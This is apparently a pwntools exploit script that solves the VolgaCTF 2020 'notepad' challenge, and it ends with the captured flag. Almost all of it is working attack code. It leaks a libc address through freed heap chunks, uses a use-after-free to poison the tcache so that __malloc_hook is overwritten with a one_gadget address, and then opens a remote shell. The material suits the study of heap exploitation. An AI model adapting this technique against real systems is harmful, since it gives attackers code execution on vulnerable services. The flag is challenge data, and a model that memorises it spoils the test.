1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3

from pwn import *

libc = ELF('./libc6_2.27-3ubuntu1_amd64.so', checksec=False)

def pick(index):
p.sendlineafter('> ', 'p')
p.readuntil(': ')
p.sendline(str(index))

def add(name):
p.sendlineafter('> ', 'a')
p.sendlineafter(': ', name)

def delete(index):
p.sendlineafter('> ', 'd')
p.sendlineafter(': ', str(index))

def list_nb():
p.sendline('> ', 'l')

def pick_add(name, data):
p.sendlineafter('> ', 'a')
p.readuntil(': ')
p.sendline(name)
p.readuntil(': ')
p.sendline(str(len(data)))
p.readuntil(': ')
p.sendline(data)

def pick_view(index):
p.sendlineafter('>', 'v')
p.readuntil(': ')
p.sendline(str(index))
return p.read(8)

def pick_update(index, name, data):
p.sendlineafter('> ', 'u')
p.sendlineafter(': ', str(index))
p.sendlineafter(': ', name)
p.sendlineafter(': ', str(len(data)))
p.sendlineafter(': ', data)

def pick_delete(index):
p.sendlineafter('> ', 'd')
p.sendlineafter(': ', str(index))

def pick_list():
p.sendline('> ', 'l')

def pick_quit():
p.sendline('> ', 'q')


# p = gdb.debug('./notepad-syms', 'b pick_update')
# p = process('./notepad-syms')
p = remote('notepad.q.2020.volgactf.ru', 45678)

#context.log_level = 'DEBUG'

add("first_nb")
pick(1)

for i in range(9):
pick_add("aaaa", chr(ord("A") + i) * 0x80)

for i in range(9, 1, -1):
pick_delete(i)

main_arena_96 = u64(pick_view(2)[:8])
log.info(f"main_arena_+96: {hex(main_arena_96)}")
malloc_hook = main_arena_96 - 112
# base address
libc.address = malloc_hook - libc.symbols['__malloc_hook']
one_gadget = libc.address + 0x10a38c
log.info(f"libc_base: {hex(libc.address)}")
log.info(f"malloc_hook: {hex(malloc_hook)}")
log.info(f"one_gadget: {hex(one_gadget)}")

for i in range(8):
pick_add("bbbb", chr(ord("A") + i) * 0x80)

pick_add("cccc", "S" * 0x8)

pick_delete(10)
# UAF write next tcache entry on malloc_hook
pick_update(10, 'dddd', p64(malloc_hook))
log.info("malloc_hook injected")
# This is just the first tcache entry
pick_add("fake", "E" * 8)
# This returns as data address the malloc_hook, overwrite it with one_gadget
pick_add("one_gadget", p64(one_gadget))
log.info("one_gadget plugged in")
pick_add("get shell", "F" * 8)
p.interactive()

Flag

VolgaCTF{i5_g1ibc_mall0c_irr3p@rable?}